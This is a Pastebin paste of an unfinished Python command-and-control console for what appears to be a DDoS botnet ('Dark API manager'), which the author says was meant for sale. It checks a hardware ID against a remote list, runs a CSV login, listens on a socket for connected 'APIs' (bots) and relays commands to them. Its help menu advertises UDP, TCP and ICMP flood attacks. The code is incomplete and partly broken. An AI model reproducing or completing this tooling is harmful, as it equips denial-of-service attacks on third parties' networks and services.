Dark_Angel_Luna

API did not finish enjoy!

Dec 4th, 2021 (edited)
1,034
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 3.46 KB | None | 0 0
  1. #Have fun was going to sell but have at it I guess!
  2. #Leave credit please
  3. #much love
  4. #- Luna
  5. import subprocess, requests, time, os
  6. import socket  
  7. import sys  
  8. class bcolors:
  9.     OK = '\033[92m' #GREEN
  10.     WARNING = '\033[93m' #YELLOW
  11.     FAIL = '\033[91m' #RED
  12.     RESET = '\033[0m' #RESET COLOR
  13. clear = lambda: os.system('cls') #on Windows System
  14. name = 'Dark Angel Luaaa'
  15. clear()
  16.  
  17. #HWID checking system codded by @Dark_Angel_Luaaa aka Luna Baby
  18. hwid = subprocess.check_output('wmic csproduct get uuid').decode().split('\n')[1].strip()
  19. r = requests.get('https://pastebin.com/raw(url that has your HWID have another tool to check)')
  20.  
  21. try:
  22.     if hwid in r.text:
  23.         pass
  24.     else:
  25.         print(bcolors.FAIL +'[ERROR] HWID Not in database' + bcolors.RESET)
  26.         print(f'HWID: {hwid}')
  27.         time.sleep(5)
  28.         os._exit()
  29. except:
  30.     print('[ERROR] Failed to connect to database')
  31.     time.sleep(5)
  32.     os._exit()
  33.    
  34. os.system('title API shell')
  35.  
  36.  
  37.  
  38.  
  39. #login system codded by @Dark_angel_luaaa aka Luna Baby
  40. #Don't rip my code please leave credit!
  41. import csv
  42.  
  43. login = False
  44. answer = input("Do you have an account?(yes or no) ")
  45.  
  46. if answer == 'yes' :
  47.    with open('login.csv', 'r') as csvfile:
  48.       csv_reader = csv.reader(csvfile)
  49.       username = input("Username: ")
  50.       password = input("Password: ")
  51.  
  52.       for row in csv_reader:
  53.          
  54.          if row[0]== username and row[1] == password:
  55.             login = True
  56.             break
  57.          else:
  58.             login = False
  59.             break
  60.  
  61.    if login == True:
  62.       print("You are now logged in!")
  63.    else:
  64.       print("Incorrect. Game Over.")
  65.       exit()    
  66. else:
  67.    print('Only Valid Usernames can join. Game Over.')
  68.    exit()
  69. #
  70. #this is the API manager connection.
  71. #Don't touch this.
  72. #
  73. # Connection to the API server
  74. s = socket.socket()
  75. host= '127.0.0.1'
  76. #this is the port used to connect to API servers.
  77. port=1313
  78. s.bind((host,port))
  79. print ("")
  80. print ("Server is currently running @ ", host)
  81. clear()
  82. print(
  83. """
  84. API MANGER BY DARK_ANGEL_LUA AKA WELSAVE
  85. """)
  86. print ("")
  87. print (bcolors.OK + "waiting for APIs" + bcolors.RESET)
  88. s.listen(2)#set this number to the amount of APIS you have
  89. conn, addr = s.accept()
  90. print ("")
  91. print (addr, " Has joined Dark API ")
  92. clear()
  93. print(
  94. """
  95. Dark API manager
  96. """)
  97. # Shows the commands to send to APIs
  98. while 1:
  99.     command = input(str("Command >> "))
  100.     if command == "cwd":
  101.        clear()
  102.        conn.send(command.encode())
  103.        print ("")
  104.        print (bcolors.OK + "Command sent waiting for resaults" + bcolors.RESET)
  105.        print ("")
  106.        files = conn.recv(5000)
  107.        files = files.decode()
  108.        print (bcolors.WARNING + "Output : ", files + bcolors.RESET)
  109.     elif command == "help":
  110.         clear()
  111.         print ("")
  112.         print ("                 MADE BY         ")
  113.         print('--|--///-> ', name , "-<--///--|--")
  114.         print ("")
  115.         print (" ____________________________________")
  116.         print ("|UDP: SENDS OUT A UDP PLAIN ATTACK   |")
  117.         print ("|TCP: SENDS OUT A TCP PLAIN ATTACK   |")
  118.         print ("|ICMP: SENDS OUT AN ICMP ATTACK      |")
  119.         print ("------------------------------------")
  120.     elif command == "cls":
  121.         clear()
  122.         print(
  123. """
  124. Dark Api Manager
  125. """)
  126.     elif command== "exit":
  127.          conn.send(command.encode())
  128.          clear()
  129.          exit()
  130.    
  131.  
  132.    
  133. else:
  134.     print ("")
  135.     print ("Command failed")
  136.    
  137.  
Add Comment
Please, Sign In to add comment